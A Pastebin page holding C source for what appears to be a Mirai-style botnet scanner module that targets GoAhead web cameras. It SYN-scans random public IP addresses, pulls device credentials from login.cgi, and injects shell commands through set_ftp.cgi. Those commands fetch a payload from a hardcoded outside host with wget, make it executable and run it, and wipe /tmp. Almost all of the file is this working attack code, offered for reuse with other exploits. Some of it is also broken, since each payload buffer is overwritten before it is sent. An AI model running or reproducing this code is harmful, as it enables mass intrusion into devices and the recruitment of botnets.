Advertisement
EliteLands

Wickeds goahead.c - omni and gemini use

Jul 27th, 2018
1,063
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 21.32 KB | None | 0 0
  1. // you can use all this for all the same public exploits look for the h file being put on now
  2. #define _GNU_SOURCE
  3.  
  4. #ifdef DEBUG
  5.     #include <stdio.h>
  6. #endif
  7. #include <unistd.h>
  8. #include <stdlib.h>
  9. #include <sys/socket.h>
  10. #include <arpa/inet.h>
  11. #include <sys/select.h>
  12. #include <sys/types.h>
  13. #include <time.h>
  14. #include <fcntl.h>
  15. #include <signal.h>
  16. #include <errno.h>
  17. #include <string.h>
  18. #include <linux/ip.h>
  19. #include <linux/tcp.h>
  20.  
  21. #include "includes.h"
  22. #include "goahead.h"
  23. #include "table.h"
  24. #include "rand.h"
  25. #include "util.h"
  26. #include "checksum.h"
  27.  
  28. int scanner_pid = 0, rsck = 0, rsck_out = 0, auth_table_len = 0;
  29. char scanner_rawpkt[sizeof(struct iphdr) + sizeof(struct tcphdr)] = {0};
  30. struct scanner_auth *auth_table = NULL;
  31. struct scanner_connection *conn_table;
  32. uint16_t auth_table_max_weight = 0;
  33. uint32_t fake_time = 0;
  34.  
  35. int recv_strip_null(int sock, void *buf, int len, int flags)
  36. {
  37.     int ret = recv(sock, buf, len, flags);
  38.  
  39.     if(ret > 0)
  40.     {
  41.         int i = 0;
  42.  
  43.         for(i = 0; i < ret; i++)
  44.         {
  45.             if(((char *)buf)[i] == 0x00)
  46.             {
  47.                 ((char *)buf)[i] = 'A';
  48.             }
  49.         }
  50.     }
  51.  
  52.     return ret;
  53. }
  54.  
  55. void scanner_init(void)
  56. {
  57.     int i = 0;
  58.     uint16_t source_port;
  59.     struct iphdr *iph;
  60.     struct tcphdr *tcph;
  61.  
  62.     // Let parent continue on main thread
  63.     scanner_pid = fork();
  64.     if(scanner_pid > 0 || scanner_pid == -1)
  65.         return;
  66.  
  67.     LOCAL_ADDR = util_local_addr();
  68.  
  69.     rand_init();
  70.     fake_time = time(NULL);
  71.     conn_table = calloc(SCANNER_MAX_CONNS, sizeof(struct scanner_connection));
  72.     for(i = 0; i < SCANNER_MAX_CONNS; i++)
  73.     {
  74.         conn_table[i].state = SC_CLOSED;
  75.         conn_table[i].fd = -1;
  76.         conn_table[i].credential_index = 0;
  77.     }
  78.  
  79.     // Set up raw socket scanning and payload
  80.     if((rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
  81.     {
  82.         #ifdef DEBUG
  83.             printf("[scanner] failed to initialize raw socket, cannot scan\n");
  84.         #endif
  85.         exit(0);
  86.     }
  87.     fcntl(rsck, F_SETFL, O_NONBLOCK | fcntl(rsck, F_GETFL, 0));
  88.     i = 1;
  89.     if(setsockopt(rsck, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i)) != 0)
  90.     {
  91.         #ifdef DEBUG
  92.             printf("[scanner] failed to set IP_HDRINCL, cannot scan\n");
  93.         #endif
  94.         close(rsck);
  95.         exit(0);
  96.     }
  97.  
  98.     do
  99.     {
  100.         source_port = rand_next() & 0xffff;
  101.     }
  102.     while(ntohs(source_port) < 1024);
  103.  
  104.     iph = (struct iphdr *)scanner_rawpkt;
  105.     tcph = (struct tcphdr *)(iph + 1);
  106.  
  107.     // Set up IPv4 header
  108.     iph->ihl = 5;
  109.     iph->version = 4;
  110.     iph->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr));
  111.     iph->id = rand_next();
  112.     iph->ttl = 64;
  113.     iph->protocol = IPPROTO_TCP;
  114.  
  115.     // Set up TCP header
  116.     tcph->dest = htons(81);
  117.     tcph->source = source_port;
  118.     tcph->doff = 5;
  119.     tcph->window = rand_next() & 0xffff;
  120.     tcph->syn = TRUE;
  121.  
  122.     #ifdef DEBUG
  123.         printf("[scanner] scanner process initialized. scanning started.\n");
  124.     #endif
  125.  
  126.     // Main logic loop
  127.     while(TRUE)
  128.     {
  129.         fd_set fdset_rd, fdset_wr;
  130.         struct scanner_connection *conn;
  131.         struct timeval tim;
  132.         int last_avail_conn, last_spew, mfd_rd = 0, mfd_wr = 0, nfds;
  133.  
  134.         // Spew out SYN to try and get a response
  135.         if(fake_time != last_spew)
  136.         {
  137.             last_spew = fake_time;
  138.  
  139.             for(i = 0; i < SCANNER_RAW_PPS; i++)
  140.             {
  141.                 struct sockaddr_in paddr = {0};
  142.                 struct iphdr *iph = (struct iphdr *)scanner_rawpkt;
  143.                 struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
  144.  
  145.                 iph->id = rand_next();
  146.                 iph->saddr = LOCAL_ADDR;
  147.                 iph->daddr = get_random_ip();
  148.                 iph->check = 0;
  149.                 iph->check = checksum_generic((uint16_t *)iph, sizeof(struct iphdr));
  150.  
  151.                 tcph->dest = htons(81);
  152.                 tcph->seq = iph->daddr;
  153.                 tcph->check = 0;
  154.                 tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof(struct tcphdr)), sizeof(struct tcphdr));
  155.  
  156.                 paddr.sin_family = AF_INET;
  157.                 paddr.sin_addr.s_addr = iph->daddr;
  158.                 paddr.sin_port = tcph->dest;
  159.  
  160.                 sendto(rsck, scanner_rawpkt, sizeof(scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof(paddr));
  161.             }
  162.         }
  163.  
  164.         // Read packets from raw socket to get SYN+ACKs
  165.         last_avail_conn = 0;
  166.         while(TRUE)
  167.         {
  168.             int n = 0;
  169.             char dgram[1514];
  170.             struct iphdr *iph = (struct iphdr *)dgram;
  171.             struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
  172.             struct scanner_connection *conn;
  173.  
  174.             errno = 0;
  175.             n = recvfrom(rsck, dgram, sizeof(dgram), MSG_NOSIGNAL, NULL, NULL);
  176.             if(n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK)
  177.                 break;
  178.  
  179.             if(n < sizeof(struct iphdr) + sizeof(struct tcphdr))
  180.                 continue;
  181.             if(iph->daddr != LOCAL_ADDR)
  182.                 continue;
  183.             if(iph->protocol != IPPROTO_TCP)
  184.                 continue;
  185.             if(tcph->source != htons(81))
  186.                 continue;
  187.             if(tcph->dest != source_port)
  188.                 continue;
  189.             if(!tcph->syn)
  190.                 continue;
  191.             if(!tcph->ack)
  192.                 continue;
  193.             if(tcph->rst)
  194.                 continue;
  195.             if(tcph->fin)
  196.                 continue;
  197.             if(htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)
  198.                 continue;
  199.  
  200.             conn = NULL;
  201.             for(n = last_avail_conn; n < SCANNER_MAX_CONNS; n++)
  202.             {
  203.                 if(conn_table[n].state == SC_CLOSED)
  204.                 {
  205.                     conn = &conn_table[n];
  206.                     last_avail_conn = n;
  207.                     break;
  208.                 }
  209.             }
  210.  
  211.             // If there were no slots, then no point reading any more
  212.             if(conn == NULL)
  213.                 break;
  214.  
  215.             conn->dst_addr = iph->saddr;
  216.             conn->dst_port = tcph->source;
  217.             setup_connection(conn);
  218.         }
  219.  
  220.         FD_ZERO(&fdset_rd);
  221.         FD_ZERO(&fdset_wr);
  222.  
  223.         for(i = 0; i < SCANNER_MAX_CONNS; i++)
  224.         {
  225.             int timeout = 5;
  226.  
  227.             conn = &conn_table[i];
  228.             //timeout = (conn->state > SC_CONNECTING ? 30 : 5);
  229.  
  230.             if(conn->state != SC_CLOSED && (fake_time - conn->last_recv) > timeout)
  231.             {
  232.                 #ifdef DEBUG
  233.                     printf("[scanner] FD%d timed out (state = %d)\n", conn->fd, conn->state);
  234.                 #endif
  235.  
  236.                 close(conn->fd);
  237.                 conn->fd = -1;
  238.                 conn->state = SC_CLOSED;
  239.                 free(conn->credentials);
  240.                 conn->credential_index = 0;
  241.                 util_zero(conn->rdbuf, sizeof(conn->rdbuf));
  242.  
  243.                 continue;
  244.             }
  245.  
  246.             if(conn->state == SC_CONNECTING || conn->state == SC_EXPLOIT_STAGE2 || conn->state == SC_EXPLOIT_STAGE3)
  247.             {
  248.                 FD_SET(conn->fd, &fdset_wr);
  249.                 if(conn->fd > mfd_wr)
  250.                     mfd_wr = conn->fd;
  251.             }
  252.             else if(conn->state != SC_CLOSED)
  253.             {
  254.                 FD_SET(conn->fd, &fdset_rd);
  255.                 if(conn->fd > mfd_rd)
  256.                     mfd_rd = conn->fd;
  257.             }
  258.         }
  259.  
  260.         tim.tv_usec = 0;
  261.         tim.tv_sec = 1;
  262.         nfds = select(1 + (mfd_wr > mfd_rd ? mfd_wr : mfd_rd), &fdset_rd, &fdset_wr, NULL, &tim);
  263.         fake_time = time(NULL);
  264.  
  265.         for(i = 0; i < SCANNER_MAX_CONNS; i++)
  266.         {
  267.             conn = &conn_table[i];
  268.  
  269.             if(conn->fd == -1)
  270.                 continue;
  271.  
  272.             if(FD_ISSET(conn->fd, &fdset_wr))
  273.             {
  274.                 int err = 0, ret = 0;
  275.                 socklen_t err_len = sizeof(err);
  276.  
  277.                 ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len);
  278.                 if(err == 0 && ret == 0)
  279.                 {
  280.                     #ifdef DEBUG
  281.                         printf("[scanner] FD%d connected to %d.%d.%d.%d\n", conn->fd, conn->dst_addr & 0xff, (conn->dst_addr >> 8) & 0xff, (conn->dst_addr >> 16) & 0xff, (conn->dst_addr >> 24) & 0xff);
  282.                     #endif
  283.  
  284.                     if(conn->state == SC_EXPLOIT_STAGE2)
  285.                     {
  286.                         #ifdef DEBUG
  287.                             printf("[scanner] FD%d login extraction successful, continuing with stage 2 of execution\n", conn->fd);
  288.                         #endif
  289.  
  290.                         // this example is for goahead
  291.                         util_strcpy(conn->payload_buf, "GET /set_ftp.cgi?loginuse=");
  292.                         util_strcat(conn->payload_buf, conn->credentials[0]);
  293.                         util_strcat(conn->payload_buf, "&loginpas=");
  294.                         util_strcat(conn->payload_buf, conn->credentials[1]);
  295.                         util_strcat(conn->payload_buf, "&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28echo+-e+""cd+/tmp""+>>+/tmp/t%29 HTTP/1.0\r\n\r\n");
  296.                         util_strcpy(conn->payload_buf, "GET /set_ftp.cgi?loginuse=");
  297.                         util_strcat(conn->payload_buf, conn->credentials[0]);
  298.                         util_strcat(conn->payload_buf, "&loginpas=");
  299.                         util_strcat(conn->payload_buf, conn->credentials[1]);
  300.                         util_strcat(conn->payload_buf, "&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28echo+-e+""wget+http:/\/167.99.88.89/a""+>>+/tmp/t%29 HTTP/1.0\r\n\r\n");
  301.                         util_strcpy(conn->payload_buf, "GET /set_ftp.cgi?loginuse=");
  302.                         util_strcat(conn->payload_buf, conn->credentials[0]);
  303.                         util_strcat(conn->payload_buf, "&loginpas=");
  304.                         util_strcat(conn->payload_buf, conn->credentials[1]);
  305.                         util_strcat(conn->payload_buf, "&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28echo+-e+""chmod+777+/tmp/a""+>>+/tmp/t%29 HTTP/1.0\r\n\r\n");
  306.                         util_strcpy(conn->payload_buf, "GET /set_ftp.cgi?loginuse=");
  307.                         util_strcat(conn->payload_buf, conn->credentials[0]);
  308.                         util_strcat(conn->payload_buf, "&loginpas=");
  309.                         util_strcat(conn->payload_buf, conn->credentials[1]);
  310.                         util_strcat(conn->payload_buf, "&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28echo+-e""/tmp/a""+>>+/tmp/t%29 HTTP/1.0\r\n\r\n");
  311.                         util_strcpy(conn->payload_buf, "GET /set_ftp.cgi?loginuse=");
  312.                         util_strcat(conn->payload_buf, conn->credentials[0]);
  313.                         util_strcat(conn->payload_buf, "&loginpas=");
  314.                         util_strcat(conn->payload_buf, conn->credentials[1]);
  315.                         util_strcat(conn->payload_buf, "&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28rm+-rf+/tmp/*%29 HTTP/1.0\r\n\r\n");
  316.  
  317.                         // actually send the payload
  318.                         send(conn->fd, conn->payload_buf, util_strlen(conn->payload_buf), MSG_NOSIGNAL);
  319.  
  320.                         // clear the payload buffer
  321.                         util_zero(conn->payload_buf, sizeof(conn->payload_buf));
  322.  
  323.                         // clear the socket buffer
  324.                         util_zero(conn->rdbuf, sizeof(conn->rdbuf));
  325.  
  326.                         close(conn->fd);
  327.                         setup_connection(conn);
  328.                         conn->credential_index = 0;
  329.                         conn->state = SC_EXPLOIT_STAGE3;
  330.  
  331.                         continue;
  332.                     }
  333.                     else if(conn->state == SC_EXPLOIT_STAGE3)
  334.                     {
  335.                         #ifdef DEBUG
  336.                             printf("[scanner] FD%d sending final command to complete the exploit (stage 3)\n", conn->fd);
  337.                         #endif
  338.  
  339.                         // build stage 3 payload
  340.                         util_strcpy(conn->payload_buf2, "GET /ftptest.cgi?loginuse=");
  341.                         util_strcat(conn->payload_buf2, conn->credentials[0]);
  342.                         util_strcat(conn->payload_buf2, "&loginpas=");
  343.                         util_strcat(conn->payload_buf2, conn->credentials[1]);
  344.                         util_strcat(conn->payload_buf2, " HTTP/1.0\r\n\r\n");
  345.  
  346.                         // actually send the payload
  347.                         send(conn->fd, conn->payload_buf2, util_strlen(conn->payload_buf2), MSG_NOSIGNAL);
  348.  
  349.                         // clear the payload buffer
  350.                         util_zero(conn->payload_buf2, sizeof(conn->payload_buf2));
  351.  
  352.                         // clear the socket buffer
  353.                         util_zero(conn->rdbuf, sizeof(conn->rdbuf));
  354.  
  355.                         // reset stuff
  356.                         free(conn->credentials);
  357.                         conn->credential_index = 0;
  358.  
  359.                         close(conn->fd);
  360.                         conn->fd = -1;
  361.                         conn->state = SC_CLOSED;
  362.  
  363.                         continue;
  364.                     }
  365.                     else
  366.                     {
  367.                         #ifdef DEBUG
  368.                             printf("[scanner] FD%d preparing to retrieve credentials (stage %d)\n", conn->fd, conn->state);
  369.                         #endif
  370.  
  371.                         conn->credentials = malloc(256);
  372.                         send(conn->fd, "GET login.cgi HTTP/1.0\r\n\r\n", 26, MSG_NOSIGNAL);
  373.                         conn->state = SC_GET_CREDENTIALS;
  374.                     }
  375.                 }
  376.                 else
  377.                 {
  378.                     #ifdef DEBUG
  379.                         printf("[scanner] FD%d error while connecting = %d\n", conn->fd, err);
  380.                     #endif
  381.  
  382.                     close(conn->fd);
  383.                     conn->fd = -1;
  384.                     conn->state = SC_CLOSED;
  385.  
  386.                     continue;
  387.                 }
  388.             }
  389.  
  390.             if(FD_ISSET(conn->fd, &fdset_rd))
  391.             {
  392.                 while(TRUE)
  393.                 {
  394.                     int ret = 0;
  395.  
  396.                     if(conn->state == SC_CLOSED)
  397.                         break;
  398.  
  399.                     if(conn->rdbuf_pos == SCANNER_RDBUF_SIZE)
  400.                     {
  401.                         memmove(conn->rdbuf, conn->rdbuf + SCANNER_HACK_DRAIN, SCANNER_RDBUF_SIZE - SCANNER_HACK_DRAIN);
  402.                         conn->rdbuf_pos -= SCANNER_HACK_DRAIN;
  403.                     }
  404.  
  405.                     errno = 0;
  406.                     ret = recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, SCANNER_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);
  407.                     if(ret == 0)
  408.                     {
  409.                         #ifdef DEBUG
  410.                             printf("[scanner] FD%d connection gracefully closed (stage %d)\n", conn->fd, conn->state);
  411.                         #endif
  412.                         errno = ECONNRESET;
  413.                         ret = -1;
  414.                     }
  415.                     if(ret == -1)
  416.                     {
  417.                         if(errno != EAGAIN && errno != EWOULDBLOCK)
  418.                         {
  419.                             if(conn->state == SC_EXPLOIT_STAGE2)
  420.                             {
  421.                                 #ifdef DEBUG
  422.                                     printf("[scanner] FD%d resetting connection preparing to continue with stage 2 of the exploit\n", conn->fd);
  423.                                 #endif
  424.                                 close(conn->fd);
  425.                                 setup_connection(conn);
  426.                                 continue;
  427.                             }
  428.  
  429.                             close(conn->fd);
  430.                             conn->fd = -1;
  431.                             conn->state = SC_CLOSED;
  432.                             free(conn->credentials);
  433.                             conn->credential_index = 0;
  434.                             util_zero(conn->rdbuf, sizeof(conn->rdbuf));
  435.                         }
  436.                         break;
  437.                     }
  438.  
  439.                     conn->rdbuf_pos += ret;
  440.                     conn->last_recv = fake_time;
  441.  
  442.                     int len = util_strlen(conn->rdbuf);
  443.                     conn->rdbuf[len] = 0;
  444.  
  445.                     if(conn->state == SC_GET_CREDENTIALS)
  446.                     {
  447.                         char *out = strtok(conn->rdbuf, " ");
  448.  
  449.                         while(out != NULL)
  450.                         {
  451.                             if(strstr(out, "login"))
  452.                             {
  453.                                 #ifdef DEBUG
  454.                                     printf("[scanner] FD%d parsing credentials...\n", conn->fd);
  455.                                 #endif
  456.  
  457.                                 memmove(out, out + 11, strlen(out));
  458.  
  459.                                 int i = 0;
  460.  
  461.                                 for(i = 0; i < strlen(out); i++)
  462.                                 {
  463.                                     if(out[i] == ';' || out[i] == '"' || out[i] == ' ')
  464.                                         out[i] = 0;
  465.                                 }
  466.  
  467.                                 conn->credentials[conn->credential_index] = strdup(out);
  468.                                 conn->credential_index++;
  469.  
  470.                             }
  471.  
  472.                             out = strtok(NULL, " ");
  473.                         }
  474.                     }
  475.  
  476.                     if(conn->credentials[0] == NULL && conn->credentials[1] == NULL)
  477.                     {
  478.                         #ifdef DEBUG
  479.                             printf("[scanner] FD%d failed to retrieve credentials\n", conn->fd);
  480.                         #endif
  481.                         close(conn->fd);
  482.                         conn->fd = -1;
  483.                         conn->state = SC_CLOSED;
  484.                         free(conn->credentials);
  485.                         conn->credential_index = 0;
  486.                         util_zero(conn->rdbuf, sizeof(conn->rdbuf));
  487.                     }
  488.                     else
  489.                     {
  490.                         #ifdef DEBUG
  491.                             printf("[scanner] FD%d retrieved user: %s, pass: %s changing exploit stages\n", conn->fd, conn->credentials[0], conn->credentials[1]);
  492.                         #endif
  493.  
  494.                         close(conn->fd);
  495.                         conn->fd = -1;
  496.                         conn->state = SC_EXPLOIT_STAGE2;
  497.                         conn->credential_index = 0;
  498.                         util_zero(conn->rdbuf, sizeof(conn->rdbuf));
  499.                     }
  500.                 }
  501.             }
  502.         }
  503.     }
  504. }
  505.  
  506. void scanner_kill(void)
  507. {
  508.     kill(scanner_pid, 9);
  509. }
  510.  
  511. static void setup_connection(struct scanner_connection *conn)
  512. {
  513.     struct sockaddr_in addr = {0};
  514.  
  515.     if(conn->fd != -1)
  516.         close(conn->fd);
  517.  
  518.     if((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
  519.     {
  520.         #ifdef DEBUG
  521.             printf("[scanner] failed to call socket()\n");
  522.         #endif
  523.         return;
  524.     }
  525.  
  526.     conn->rdbuf_pos = 0;
  527.     util_zero(conn->rdbuf, sizeof(conn->rdbuf));
  528.  
  529.     fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0));
  530.  
  531.     addr.sin_family = AF_INET;
  532.     addr.sin_addr.s_addr = conn->dst_addr;
  533.     addr.sin_port = conn->dst_port;
  534.  
  535.     conn->last_recv = fake_time;
  536.  
  537.     if(conn->state == SC_EXPLOIT_STAGE2 || conn->state == SC_EXPLOIT_STAGE3)
  538.     {
  539.     }
  540.     else
  541.     {
  542.         conn->state = SC_CONNECTING;
  543.     }
  544.  
  545.     connect(conn->fd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in));
  546. }
  547.  
  548. static ipv4_t get_random_ip(void)
  549. {
  550.     uint32_t tmp;
  551.     uint8_t o1 = 0, o2 = 0, o3 = 0, o4 = 0;
  552.  
  553.     do
  554.     {
  555.         tmp = rand_next();
  556.  
  557.         o1 = tmp & 0xff;
  558.         o2 = (tmp >> 8) & 0xff;
  559.         o3 = (tmp >> 16) & 0xff;
  560.         o4 = (tmp >> 24) & 0xff;
  561.     }
  562.     while(o1 == 127 ||                             // 127.0.0.0/8      - Loopback
  563.           (o1 == 0) ||                              // 0.0.0.0/8        - Invalid address space
  564.           (o1 == 3) ||                              // 3.0.0.0/8        - General Electric Company
  565.           (o1 == 15 || o1 == 16) ||                 // 15.0.0.0/7       - Hewlett-Packard Company
  566.           (o1 == 56) ||                             // 56.0.0.0/8       - US Postal Service
  567.           (o1 == 10) ||                             // 10.0.0.0/8       - Internal network
  568.           (o1 == 192 && o2 == 168) ||               // 192.168.0.0/16   - Internal network
  569.           (o1 == 172 && o2 >= 16 && o2 < 32) ||     // 172.16.0.0/14    - Internal network
  570.           (o1 == 100 && o2 >= 64 && o2 < 127) ||    // 100.64.0.0/10    - IANA NAT reserved
  571.           (o1 == 169 && o2 > 254) ||                // 169.254.0.0/16   - IANA NAT reserved
  572.           (o1 == 198 && o2 >= 18 && o2 < 20) ||     // 198.18.0.0/15    - IANA Special use
  573.           (o1 >= 224) ||                            // 224.*.*.*+       - Multicast
  574.           (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
  575.     );
  576.  
  577.     return INET_ADDR(o1,o2,o3,o4);
  578. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement